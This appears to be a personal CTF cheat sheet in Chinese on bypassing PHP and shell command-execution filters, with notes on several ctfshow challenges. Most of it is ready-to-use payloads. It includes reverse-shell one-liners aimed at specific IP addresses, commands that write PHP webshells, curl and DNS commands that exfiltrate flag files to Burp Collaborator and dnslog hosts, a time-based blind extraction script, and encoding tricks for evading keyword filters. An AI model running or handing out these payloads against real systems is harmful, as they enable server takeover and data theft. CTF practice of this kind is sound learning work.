开篇注释: linux基本命令: 1.常见管道符 windows: ‘|’ 直接执行后面的语句 ‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 ‘&’ 前面和后面命令都要执行,无论前面真假 &&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令 linux: Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
2.读取文件命令 cat--由第一行开始显示内容,并将所有内容输出 tac--从最后一行倒序显示内容,并将所有内容输出 more-- 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head-- 只显示头几行 tail --只显示最后几行 nl --类似于cat -n,显示时输出行号 tailf-- 类似于tail -f vim --使用vim工具打开文本 vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
1.无参数rce 1.1基本函数及其作用:
函数
效果
foreach($a as $x => $y)
$a为数组,将数组名和值循环赋值给$x和$y
exit($a)
输出$a并退出当前脚本
show_source()
显示文件内容
highlight_file()
显示文件内容
readfile()
显示文件内容
var_dump()
打印数组,显示文件名
printf()
显示文件内容
next()
数组指针移动到下一位
array_reverse()
数组位置前后调转
show_source(next(array_reverse(scandir(current(localeconv())))))
localeconv()
详细的自己搜,返回一个数组,数组的第一个是小数点字符,因此可以用current()提取一个.
current()或pos()
提取数组第一个元素的值
scandir()
显示目录中的所有文件
scandir(current(localeconv()))
查看目录
var_dump(scandir(current(localeconv())))
输出目录
end()
取出数组中的最后一位
chdir()
目录跳转,例如chdir(‘..’)就是跳转到上级目录
get_defined_vars()
返回由所有已定义变量所组成的数组(全局变量)
dirname()
返回当前文件的路径,就是pwd
getcwd()
返回当前的工作目录
getallheaders()
返回所有的请求头数组
getenv()
php7.1版本以后才能使用,获取环境变量
time()
返回当前的Unix时间戳
localtime()
取得本地时间
localtime(time())
返回一个数组,0-60之间
1.2session_id session字符串只能存储大小写字母以及数字组成的字符串,所以需要对session进行转换,操作如下
eval(hex2bin(session_id(session_start()))); echo bin2hex("phpinfo();")=706870696e666f28293b //php执行 phpsessionid=
1.3随机读取文件 print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
源代码
<?php highlight_file(__FILE__); // FLAG in the flag.php $file = $_GET['file']; if(isset($file) && !preg_match('/base|rot/i',$file)){ @include($file); }else{ die("nope"); } ?>
payload:
eval(array_pop(getallheaders())); //这里的array_pop是弹出http头的最后一个 //getallheaders()是获取所有请求头信息的一个数组
请求头: 因为得是在最后一个,所以用字母让他排到最后,例如: ZZZZZ=phpinfo(); 或者使用 eval(pos(next(array_reverse(getallheaders())));
1.5get_defined_vars() 获取全局变量$_POST $_GET $_FILE $_COOKIE
current会默认弹出数组的第一个,在这里就是get方法,所以可以用这个方法加上end()函数去获取
2.无字母数字rce 可参考https://www.freebuf.com/articles/network/279563.html(已保存)
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
2.1重点,每次做都得看 遇到这种的,得到脚本之后直接用运算符进行连接,1乘script乘1,就这样的格式
$code = eval("return $v1$v3$v2;");
2.2取反绕过 Script 1 <?php $a=urlencode(~('call_user_func')); $b=urlencode(~('system')); $c=urlencode(~('whoami')); echo $a; echo "\n"; echo $b; echo "\n"; echo $c; echo "\n"; echo "(~".$a.")(~".$b.",~".$c.",'');"; ?>
Script 2 <?php //在命令行中运行 fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
2.3异或绕过 脚本位置code/,每次使用记得修改php中的正则代码
2.4或绕过 脚本位置code/or,每次使用记得修改php中的正则代码
2.5自增绕过 //测试发现7.0.12以上版本不可使用 //使用时需要url编码下 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); 固定格式 构造出来的 assert($_POST[_]); 然后post传入 _=phpinfo();
2.6临时文件执行 使用于$也被过滤了的情况
利用点执行临时文件,用?匹配临时文件,正则表达式的内容可以随便替换,如果有绕过的话
执行包
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: 192.168.43.210:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type:multipart/form-data;boundary=--------123 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 109 ----------123 Content-Disposition:form-data;name="file";filename="1.txt" #!/bin/sh ls / ----------123--
3.命令行写shell 前提:可以执行系统命令
echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B' | base64 -d > 123.php echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/basic/web/2.php
4.无回显RCE 4.1反弹shell nc 150.158.24.228 150 -e /bin/sh bash -c \"bash -i >& /dev/tcp/150.158.24.228/150 0>&1\" nc 110.41.17.183 150 -e /bin/sh bash -c \"bash -i >& /dev/tcp/110.41.17.183/250 0>&1\" java版本,用的时候记得把命令base64编码 bash -c {echo,bash -i >& /dev/tcp/110.41.17.183/250 0>&1}|{base64,-d}|{bash,-i} bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i} 在浏览器命令执行的时候切记需要进行url后传参
4.2直接写入 利用cp命令:cp flag.php 1.txt 利用mv命令:mv flag.php 1.txt 利用>输出结果到文件:ls > 1.txt 利用wget下载:wget http://ip/shell.txt > shell.php或者wget http://ip/shell.txt -O shell.php
4.3burp(Collaborator Client) 利用bp的Collaborator Client模块进行操作 curl -X POST -F xx=@/flag http://qvpx2nspeuaw3w0lqulk72nyspysmh.oastify.com
4.4数据外带dnslog 推荐俩网址:
1.http://dnslog.cn
2.http://ceye.io/
单行传输: ping `whoami`.dns地址 curl http://dns地址/`whoami` 多行传输:(外带只会显示第一行的数据) curl http://y91yp4.ceye.io/`ls / | base64` curl http://y91yp4.ceye.io/`whoami | sed -n '2p'`
4.5盲注 import requests import string import time url='http://localhost.test.php/?c=' dic=string.printable[:-6] flag='' for i in range(1,50): judge=0 for j in dic: now=f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi' start=time.time() r=requests.get(now) end=time.time() if int(end)-int(start) >1: judge=1 flag+=j print(flag) break if judge==0: break print(flag)
命令解析
if [ `cat /flag | awk NR==1 | cut -c %s` == %s ];then sleep 2;fi
5.绕过长度限制 5.1substr()函数截取 5.1.1 web133 源代码
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
分析
get传参 F=`$F `; sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了
payload
payload: ?F=`$F`; curl -X POST -F xx=@flag.php http://juhspnhonkrsc5p0qayb5lgbi2osch.burpcollaborator.net //后面的这个是用burpsuite生成的
5.1.2 web134 源代码
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
payload
payload:F=`$F `; nl f*>1.txt payload:F=`$F `; cp f* 2.txt //注意,这里的;号和后面命令中间必须有个空格,没有执行不了,不知道为啥
5.2单纯长度限制 5.2.1 通过>来创建文件
5.2.2 通过>将命令结果存入文件中 echo "PD9waHAgZXZhbCgkX1BPU1RbY2h1MF0pOyA/Pg==" | base64 -d > flag.php //将马写入flag.php,写shell必须得用这个
5.2.3 >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容 echo "hello hacker" >> flag.txt
6.命令绕过 6.1空格 $IFS {cat,flag.php} ——这里把,替换成了空格键 %20 ——代表space键 %09 -- 需要php环境,如cat%09flag.php ${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php $IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php < -- 重定向,如cat<flag.php <> -- 重定向,如cat<>flag.php
6.2字符串拼接 前提:能够执行系统命令
GET: ?a=content1;b=content2;cat $b POST: chu0=a=l;b=s;c=/;$a$b $c
6.3base64编码绕过 前提:能够执行系统命令
echo MTIzCg==|base64 -d 其将会打印123 echo bHMgLw== | base64 -d | bash `echo bHMgLw== | base64 -d` ==>ls / echo bHMgLw== | base64 -d | sh
6.4hex编码绕过 生成脚本
<?php $a = 'ls /'; echo bin2hex($a); //6c73202f ?>
payload
echo 6c73202f | xxd -r -p | bash `echo 6c73 | xxd -r -p` echo `6c73202f` | xxd -r -p | sh > 1.txt
6.5单引号和双引号绕过 ca''t flag ca""t flag l''s / l""s /
6.6反斜杠绕过 l\s / l\s /var/www/ht\ml ca\t f\ag
6.7绕过ip中的句点 网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。 可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
数字转ip地址 ip地址转数字 域名转数字ip
6.8tee、script命令 ctfshow web136
源码
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
命令说明
tee file1 file2 //复制文件 ls|tee 1.txt //命令输出
payload
?c=cat /f149_15_h3r3|tee 1 ?c=cat /f149_15_h3r3|script 1
6.9call_user_function() php文档解析:https://www.php.net/manual/zh/function.call-user-func.php
方式一: call_user_func(ctfshow::getflag); //引用静态参数 方式二: call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用 call_user_func(array($classname, 'say_hello')); 调用classname这个类里的sya_hello方法
6.10三目运算符 注意,在构造三目运算符的时候,要把?和:放在同一个变量当中
ctfshow web145
eval("return 1?phpinfo():1;"); v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1 1 ?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5): 1 //格式是这个样子的
6.11等号和位运算 ctfshow web146
eval("return 1==phpinfo()||1;"); (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)
6.12正则匹配 例如: ls flag => ls [e-g]lag ls f{k..m}ag